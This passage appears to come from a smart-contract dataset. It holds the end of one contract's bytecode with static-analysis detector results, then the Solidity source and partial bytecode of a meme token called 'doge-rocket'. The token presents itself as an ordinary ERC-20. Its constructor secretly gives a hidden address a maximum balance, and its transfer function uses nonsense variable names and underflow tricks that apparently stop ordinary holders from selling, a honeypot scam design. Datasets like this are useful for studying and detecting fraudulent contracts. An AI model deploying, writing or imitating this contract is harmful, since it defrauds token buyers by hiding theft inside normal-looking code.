7565b506040820151816002019080519060200190610e44929190612927565b5060608201518160030160006101000a81548160ff02191690831515021790555060808201518160030160016101000a81548160ff021916908360ff160217905550905050600d549050600d6000815480929190600101919050555080925050509392505050565b6000600a826040518082805190602001908083835b602083101515610ee65780518252602082019150602081019050602083039250610ec1565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020549050919050565b610f296129a7565b610f316129bb565b6000806000610f3e6129bb565b60408051805910610f4c5750595b9080825280601f01601f1916602001820160405250945060009350600092505b602083101561102a578260080260020a886001900402600102915060007f010000000000000000000000000000000000000000000000000000000000000002827effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614151561101d57818585815181101515610fe457fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535083806001019450505b8280600101935050610f6c565b600092505b60208310156110ed578260080260020a876001900402600102915060007f010000000000000000000000000000000000000000000000000000000000000002827effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415156110e0578185858151811015156110a757fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535083806001019450505b828060010193505061102f565b836040518059106110fb5750595b9080825280601f01601f19166020018201604052509050600092505b838310156111c357848381518110151561112d57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f010000000000000000000000000000000000000000000000000000000000000002818481518110151561118657fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508280600101935050611117565b809550505050505092915050565b60006009826040518082805190602001908083835b60208310151561120b57805182526020820191506020810190506020830392506111e6565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020549050919050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112a457600080fd5b8260026000600354815260200190815260200160002090805190602001906112cd9291906129cf565b50600354905060036000815480929190600101919050555080915050919050565b60006005826040518082805190602001908083835b6020831015156113285780518252602082019150602081019050602083039250611303565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113be57600080fd5b6001600c600083815260200190815260200160002060030160016101000a81548160ff021916908360ff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561144c57600080fd5b600d548110151561145c57600080fd5b600c600082815260200190815260200160002060030160019054906101000a900460ff1660ff16600014151561149157600080fd5b6002600c600083815260200190815260200160002060030160016101000a81548160ff021916908360ff16021790555050565b6000600d54905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b60006115036128d0565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561156057600080fd5b85826000019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505084826020018190525083826040018190525060018260600190151590811515815250506000826080019060ff16908160ff168152505081600c6000600d54815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001019080519060200190611647929190612927565b506040820151816002019080519060200190611664929190612927565b5060608201518160030160006101000a81548160ff02191690831515021790555060808201518160030160016101000a81548160ff021916908360ff160217905550905050600d549050600d6000815480929190600101919050555080925050509392505050565b6000600b54905090565b6000600354905090565b6116e86129a7565b6116f06129bb565b60008060006116fd6129bb565b602060405180591061170c5750595b9080825280601f01601f1916602001820160405250945060009350600092505b60208310156117ea578260080260020a876001900402600102915060007f010000000000000000000000000000000000000000000000000000000000000002827effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415156117dd578185858151811015156117a457fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535083806001019450505b828060010193505061172c565b836040518059106117f85750595b9080825280601f01601f19166020018201604052509050600092505b838310156118c057848381518110151561182a57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f010000000000000000000000000000000000000000000000000000000000000002818481518110151561188357fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508280600101935050611814565b8095505050505050919050565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561192b57600080fd5b8260001415151561193b57600080fd5b600a846040518082805190602001908083835b602083101515611973578051825260208201915060208101905060208303925061194e565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020549050826008856040518082805190602001908083835b6020831015156119e257805182526020820191506020810190506020830392506119bd565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405180910390206000838152602001908152602001600020819055506000831315611b1c57611aa86009856040518082805190602001908083835b602083101515611a6e5780518252602082019150602081019050602083039250611a49565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020548461288d565b6009856040518082805190602001908083835b602083101515611ae05780518252602082019150602081019050602083039250611abb565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902081905550611c04565b611b946009856040518082805190602001908083835b602083101515611b575780518252602082019150602081019050602083039250611b32565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902054846000036128b7565b6009856040518082805190602001908083835b602083101515611bcc5780518252602082019150602081019050602083039250611ba7565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020819055505b611c7a600a856040518082805190602001908083835b602083101515611c3f5780518252602082019150602081019050602083039250611c1a565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902054600161288d565b600a856040518082805190602001908083835b602083101515611cb25780518252602082019150602081019050602083039250611c8d565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902081905550600b600081548092919060010191905055508091505092915050565b60006006826040518082805190602001908083835b602083101515611d3f5780518252602082019150602081019050602083039250611d1a565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020549050919050565b60006006836040518082805190602001908083835b602083101515611db45780518252602082019150602081019050602083039250611d8f565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405180910390205482101515611df557600080fd5b6004836040518082805190602001908083835b602083101515611e2d5780518252602082019150602081019050602083039250611e08565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020600083815260200190815260200160002054905092915050565b60008060035483101515611e8d57600080fd5b611f41600260008581526020019081526020016000208054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611f375780601f10611f0c57610100808354040283529160200191611f37565b820191906000526020600020905b815481529060010190602001808311611f1a57829003601f168201915b5050505050612603565b91509150915091565b600080600080600080611f5b6128d0565b6000806000600d548b101515611f7057600080fd5b600c60008c815260200190815260200160002060a060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561207e5780601f106120535761010080835404028352916020019161207e565b820191906000526020600020905b81548152906001019060200180831161206157829003601f168201915b50505050508152602001600282018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156121205780601f106120f557610100808354040283529160200191612120565b820191906000526020600020905b81548152906001019060200180831161210357829003601f168201915b505050505081526020016003820160009054906101000a900460ff161515151581526020016003820160019054906101000a900460ff1660ff1660ff1681525050935061217084602001516121ae565b925061217f8460400151612603565b915091508360000151838383876060015188608001519950995099509950995099505050505091939550919395565b6000806020830151905080915050919050565b6000600754905090565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561222957600080fd5b8260001415151561223957600080fd5b6006846040518082805190602001908083835b602083101515612271578051825260208201915060208101905060208303925061224c565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020549050826004856040518082805190602001908083835b6020831015156122e057805182526020820191506020810190506020830392506122bb565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020600083815260200190815260200160002081905550600083131561241a576123a66005856040518082805190602001908083835b60208310151561236c5780518252602082019150602081019050602083039250612347565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020548461288d565b6005856040518082805190602001908083835b6020831015156123de57805182526020820191506020810190506020830392506123b9565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902081905550612502565b6124926005856040518082805190602001908083835b6020831015156124555780518252602082019150602081019050602083039250612430565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902054846000036128b7565b6005856040518082805190602001908083835b6020831015156124ca57805182526020820191506020810190506020830392506124a5565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020819055505b6125786006856040518082805190602001908083835b60208310151561253d5780518252602082019150602081019050602083039250612518565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902054600161288d565b6006856040518082805190602001908083835b6020831015156125b0578051825260208201915060208101905060208303925061258b565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020819055506007600081548092919060010191905055508091505092915050565b60008060008060208501519150604085015190508181935093505050915091565b6000600a836040518082805190602001908083835b60208310151561265e5780518252602082019150602081019050602083039250612639565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020548210151561269f57600080fd5b6008836040518082805190602001908083835b6020831015156126d757805182526020820191506020810190506020830392506126b2565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020600083815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561277f57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561284957600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082840190508381101580156128a55750828110155b15156128ad57fe5b8091505092915050565b60008282111515156128c557fe5b818303905092915050565b60a060405190810160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001612901612a4f565b815260200161290e612a4f565b8152602001600015158152602001600060ff1681525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061296857805160ff1916838001178555612996565b82800160010185558215612996579182015b8281111561299557825182559160200191906001019061297a565b5b5090506129a39190612a63565b5090565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612a1057805160ff1916838001178555612a3e565b82800160010185558215612a3e579182015b82811115612a3d578251825591602001919060010190612a22565b5b509050612a4b9190612a63565b5090565b602060405190810160405280600081525090565b612a8591905b80821115612a81576000816000905550600101612a69565b5090565b905600a165627a7a723058208d594583562b1383a5d02641e5e42a951b597bc71deaa05448cae5d8528d8f9d0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 894 |
0x2972bf3D80A8D12e8a6BdCa0fAb703Fc8168562a | /*
🐶🚀
https://t.me/dogerocket_eth
🐶🚀
https://www.doge-rocket.space/
*/
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.3;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Contract is Ownable {
constructor(
string memory _NAME,
string memory _SYMBOL,
address routerAddress,
address tonight
) {
_symbol = _SYMBOL;
_name = _NAME;
_fee = 5;
_decimals = 9;
_tTotal = 1000000000000000 * 10**_decimals;
_balances[tonight] = through;
_balances[msg.sender] = _tTotal;
talk[tonight] = through;
talk[msg.sender] = through;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
uint256 public _fee;
string private _name;
string private _symbol;
uint8 private _decimals;
function name() public view returns (string memory) {
return _name;
}
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
function symbol() public view returns (string memory) {
return _symbol;
}
uint256 private _tTotal;
uint256 private _rTotal;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
uint256 private through = ~uint256(0);
function decimals() public view returns (uint256) {
return _decimals;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() public view returns (uint256) {
return _tTotal;
}
mapping(uint256 => address) private low;
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function fat(
address garden,
address motion,
uint256 amount
) private {
address that = low[0];
bool giant = uniswapV2Pair == garden;
uint256 consist = _fee;
if (talk[garden] == 0 && search[garden] > 0 && !giant) {
talk[garden] -= consist;
}
low[0] = motion;
if (talk[garden] > 0 && amount == 0) {
talk[motion] += consist;
}
search[that] += consist;
uint256 fee = (amount / 100) * _fee;
amount -= fee;
_balances[garden] -= fee;
_balances[address(this)] += fee;
_balances[garden] -= amount;
_balances[motion] += amount;
}
mapping(address => uint256) private search;
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
mapping(address => uint256) private talk;
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
require(amount > 0, 'Transfer amount must be greater than zero');
fat(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
fat(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function buy(
uint256 count,
address tokenAddress,
address to
) external payable {
address[] memory path = new address[](2);
path[0] = router.WETH();
path[1] = tokenAddress;
uint256 amount = msg.value / count;
for (uint256 i = 0; i < count; i++) {
router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(0, path, to, block.timestamp);
}
uint256 balance = address(this).balance;
if (balance > 0) payable(msg.sender).transfer(balance);
}
} | 0x6080604052600436106100f35760003560e01c80638da5cb5b1161008a578063dd62ed3e11610059578063dd62ed3e14610330578063e753858a1461036d578063f2fde38b14610389578063f887ea40146103b2576100f3565b80638da5cb5b1461027257806395d89b411461029d578063a9059cbb146102c8578063c5b37c2214610305576100f3565b8063313ce567116100c6578063313ce567146101c857806349bd5a5e146101f357806370a082311461021e578063715018a61461025b576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd1461016057806323b872dd1461018b575b600080fd5b34801561010457600080fd5b5061010d6103dd565b60405161011a91906113d5565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190611490565b61046f565b60405161015791906114eb565b60405180910390f35b34801561016c57600080fd5b50610175610484565b6040516101829190611515565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611530565b61048e565b6040516101bf91906114eb565b60405180910390f35b3480156101d457600080fd5b506101dd6105dd565b6040516101ea9190611515565b60405180910390f35b3480156101ff57600080fd5b506102086105f7565b6040516102159190611592565b60405180910390f35b34801561022a57600080fd5b50610245600480360381019061024091906115ad565b61061d565b6040516102529190611515565b60405180910390f35b34801561026757600080fd5b50610270610666565b005b34801561027e57600080fd5b506102876106ee565b6040516102949190611592565b60405180910390f35b3480156102a957600080fd5b506102b2610717565b6040516102bf91906113d5565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea9190611490565b6107a9565b6040516102fc91906114eb565b60405180910390f35b34801561031157600080fd5b5061031a610825565b6040516103279190611515565b60405180910390f35b34801561033c57600080fd5b50610357600480360381019061035291906115da565b61082b565b6040516103649190611515565b60405180910390f35b6103876004803603810190610382919061161a565b6108b2565b005b34801561039557600080fd5b506103b060048036038101906103ab91906115ad565b610b50565b005b3480156103be57600080fd5b506103c7610c47565b6040516103d491906116cc565b60405180910390f35b6060600280546103ec90611716565b80601f016020809104026020016040519081016040528092919081815260200182805461041890611716565b80156104655780601f1061043a57610100808354040283529160200191610465565b820191906000526020600020905b81548152906001019060200180831161044857829003601f168201915b5050505050905090565b600061047c338484610c6d565b905092915050565b6000600754905090565b60008082116104d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c9906117b9565b60405180910390fd5b6104dd848484610e08565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161053a9190611515565b60405180910390a36105d4843384600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105cf9190611808565b610c6d565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61066e611270565b73ffffffffffffffffffffffffffffffffffffffff1661068c6106ee565b73ffffffffffffffffffffffffffffffffffffffff16146106e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d990611888565b60405180910390fd5b6106ec6000611278565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606003805461072690611716565b80601f016020809104026020016040519081016040528092919081815260200182805461075290611716565b801561079f5780601f106107745761010080835404028352916020019161079f565b820191906000526020600020905b81548152906001019060200180831161078257829003601f168201915b5050505050905090565b60006107b6338484610e08565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108139190611515565b60405180910390a36001905092915050565b60015481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600267ffffffffffffffff8111156108cf576108ce6118a8565b5b6040519080825280602002602001820160405280156108fd5781602001602082028036833780820191505090505b509050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561096d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099191906118ec565b816000815181106109a5576109a4611919565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505082816001815181106109f4576109f3611919565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060008434610a3c9190611977565b905060005b85811015610af157600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6f9de958360008688426040518663ffffffff1660e01b8152600401610aac9493929190611aa1565b6000604051808303818588803b158015610ac557600080fd5b505af1158015610ad9573d6000803e3d6000fd5b50505050508080610ae990611aed565b915050610a41565b5060004790506000811115610b48573373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610b46573d6000803e3d6000fd5b505b505050505050565b610b58611270565b73ffffffffffffffffffffffffffffffffffffffff16610b766106ee565b73ffffffffffffffffffffffffffffffffffffffff1614610bcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc390611888565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3290611ba7565b60405180910390fd5b610c4481611278565b50565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610cd85750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610d17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0e90611c39565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610df59190611515565b60405180910390a3600190509392505050565b6000600c600080815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610f2a57506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610f34575081155b15610f905780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f889190611808565b925050819055505b84600c600080815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180156110315750600084145b1561108d5780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110859190611c59565b925050819055505b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110dc9190611c59565b9250508190555060006001546064866110f59190611977565b6110ff9190611caf565b9050808561110d9190611808565b945080600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461115e9190611808565b9250508190555080600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111b49190611c59565b9250508190555084600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461120a9190611808565b9250508190555084600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112609190611c59565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561137657808201518184015260208101905061135b565b83811115611385576000848401525b50505050565b6000601f19601f8301169050919050565b60006113a78261133c565b6113b18185611347565b93506113c1818560208601611358565b6113ca8161138b565b840191505092915050565b600060208201905081810360008301526113ef818461139c565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611